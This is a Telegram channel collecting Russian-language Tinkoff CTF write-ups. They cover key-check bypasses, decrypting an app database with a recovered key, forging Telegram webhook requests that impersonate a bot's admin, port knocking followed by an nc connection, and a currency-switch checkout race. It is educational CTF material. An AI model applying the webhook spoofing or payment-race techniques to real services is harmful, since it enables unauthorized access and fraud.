решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
забыл авторство и саму задачу, упс
Forwarded from Вика
Проклятый старый дом

ключ: 0000-0000-0000-0000-EAB2

Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.

Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.

function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));

if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);

t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);

return t.substring(8, 10) === r
}
🔥2
Forwarded from Alexey Kirillov
Привет! Вот немножко райтапов по лиге новичков:
Культ кефира
Смотрим исходники в jadx, находим шифрование БД, пишем обратный расшифровщик, в полученном sqlite файле текстом лежит ключ.
import hashlib
import hmac
from Crypto.Cipher import AES
import zlib

with open("MessengerDB.db_enc", "rb") as f:
data = f.read()

# From jadx
encryptionKey = bytearray([100, 97, 116, 97, 98, 97, 115, 101, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 107, 101, 121])

str2_l = int.from_bytes(data[:2], "big")
iv = data[2:18]
enc_key_gen = data[38:str2_l+2]

enc_db = data[str2_l+2:-16]
orig_db_md5 = data[-16:]

#==========

# 16 bytes of 0
# mac = AES, HmacSHA256: enc_key_gen (zeros)
# mac2 = AES, HmacSHA256: enc_key_gen (mac)

mac = hmac.new(bytearray([0 for _ in range(16)]), enc_key_gen, hashlib.sha256).digest()
mac2 = hmac.new(mac, enc_key_gen, hashlib.sha256).digest()[:16]

#==========

# mac = AES, HmacSHA256: encryptionKey (enc_key)
# gen iv
# result = AES/GCM/NoPadding: deflater(src_db) (mac, iv)

mac = hmac.new(mac2, encryptionKey, hashlib.sha256).digest()[:16]

cipher = AES.new(mac, AES.MODE_GCM, iv)
dec = cipher.decrypt(enc_db)

with open("decrypted.sqlite", "wb") as f:
f.write(zlib.decompress(dec))
Forwarded from Aslan Taibov
Привет, вот такой промпт у нас в кощей
Forwarded from Вячеслав
You have chess like field with 26 by 26 size: e.t A-Z, 1-26 coordinates. Write a python code what read two coordinates in format 'A15' as sys arguments. Do not forget: second coordinate can consists of 1 or 2 symbols, they all are valid. Do not forget to check it. Then implemet BFS to find the shortest path between them using a knight piece and print a python list of it's coordinates in same format.
Forwarded from Aslan Taibov
Автор: чел из нашей тимы который понятия не имеет что такое ctf но зато люто шарит за LLMки)
#альткапоне от @bash_dev

Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"

Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp

Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>

Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках

Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
{
    "message": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "text": "/admin"
    }
}

Что бы увидеть что там есть в админке, ответ:
{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Перезагрузить nginx",
                    "callback_data": "inline_button_restartnginx"
            }],
            [{
                    "text": "Атаковать example.org",
                    "callback_data": "inline_button_ddosexample"
            }],
            [{
                    "text": "Пинговать google.com",
                    "callback_data": "inline_button_pinggoogle"
            }],
            [{
                    "text": "Другие >>",
                    "callback_data": "inline_button_nextpage"
            }]
        ]
    },
    "method": "sendMessage"
}


Вижу что ничего нужного нет, шлю на следующую страницу,
{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_nextpage"
    }
}


Получаю то что искал,
{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Отправить приглашение",
                    "callback_data": "inline_button_sendinvite"
            }]
        ]
    },
    "method": "sendMessage"
}


Отправляю приглашение:
{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_sendinvite"
    }
}


Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
{
    "chat_id": 6818118044,
    "text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
    "method": "sendMessage"
}


Отправляю...
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "800863363"
}
}

Ответ:
{
"chat_id": 6818118044,
"text": "Успешно отправили приглашение.",
"method": "sendMessage"
}


И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
🔥9🤨2👍1
Forwarded from Alexey Kirillov
Элементарно, Ватсон!
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
task = "H_S_|_e_gImt-o_tdondFS_ta_nlv0PgOSuSKGyCen3s_td_:Oc|iuM__t_aiFCeLasaea|T:d_oStoo_te-osiaL35rdf}:Mppnym|F_itnhecfF4:_npdnohtke_|_Eped_bC_Kch|enu_ig_Daendw_Ren4IFShcrEiahit0Kr_maoese_ci_e5i|cnnr_itavtseneUelHe_n_crGtgblcn-eddaCrs_i|elddgyoonpa0trrshul3G_:_iuAe:LdS_p_:h_cltr_ffie:tr|n_P_3cdS_|oeu4es_7Ekm|iG_{ce|_gCe0aumt_ES-wns:doA_v_e|crM5kr-Mlh}fucAea_e_ecp__umriHsCeese_|_aaa|_lt1dnDrGleeTml_3do_ale_CM-CnrrIpafL:dBerl:chesIWelKserfuy_auygn3_{s__|ne|_te___anmees|1rlErs|edaVA_Ji|ag-rs_rfSrcey_sCO1ellc|:iRinfamCdo_c:GertDes|3_hn7si_rC_cLn0RnpaerMt|hcou_:|S:haaY|sJiaGtscn0ees_yaf-oampb_-u_ir}_Keepsre_eym_reM_x{_sl_iRt_sTsg|ce_nteadFnM_Rs_yH_AEtlTdocJphteI4yDk__n:otOPoo1siT_tw_i?Utoeeo:nm_riH2d_u|uuen:tnubhrtn|6fhc_r_deEune:_SnK5b|a_eerRaihkCh{ntFiTiRvmsi_taDe_LCtTrsnonteohtC_sochcaim|sThn_y71hihy|ek_e_fa}rW:raet_do-thed4_icaoe|-r3Crkfr|1a|glfeFen_|efrtEp_rn"

enc = "ADGYVSPMJ147BEHZWTQNK258CFI0XUROL369"
dec = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def gen_inds(step = 3, grains_h = 3):
inds = []

for j in range(step):
common = j
for i in range(grains_h):
inds.append(common + i * step)
for i in range(grains_h):
inds.append(common + 2 * grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + 3 * grains_h * step + i * step)
return inds

def encode(dec, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
return "".join([dec[j] for j in inds])

def decode(enc, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
res = ["?" for _ in range(4 * step * grains_h)]
for i, j in enumerate(inds):
res[j] = enc[i]
return "".join(res)

# Test example
# print(encode(dec) == enc)
# print(decode(enc) == dec)

# 864 = 2 * 2 * 2 * 2 * 2 * 3 * 3 * 3
# Text must be divided by 4 part, so we just try every 2 * 2 * 2 * 3 * 3 * 3 to 2 numbers

possible_step = [27]#[2, 3, 4, 6, 8, 9, 12, 18, 24, 27, 36, 54, 72, 108] # divisors of 216
for step in possible_step:
print(step, decode(task, step, 216 // step))
🔥5🤡3
Более лаконичная #золотаялопа от @himic5
Forwarded from HiMiC
Золотая Лопа

Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp

открывается порт 11111

коннектимся к нему
nc 45.82.152.190 11111

Вводим токен команды.
Получаем флаг.
😱2👍1
пятницемобиль: Переводишь себя на доллары. Добавляешь дорогую поездку в корзину. Открываешь корзину в новой вкладке, делаешь чекаут. В первой вкладке переводишь себя на рубли. Во второй вкладке нажимаешь "оплатить"
🤩1
репкозиторий: загружаем pdf в онлайн-конвертер в редактируемые форматы (я перегнала в pptx), убираем красную "наклеечку" и видим код на иллюстрации (в разделе, где про настройку для сбора конкретных плодов)
райтап 2.0 от @himic5 с указанием авторов
Forwarded from HiMiC
Золотая Лопа

Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp

открывается порт 11111

коннектимся к нему
nc 45.82.152.190 11111

Вводим токен команды.
Получаем флаг.

Авторы решения: @himic5 и @leonideath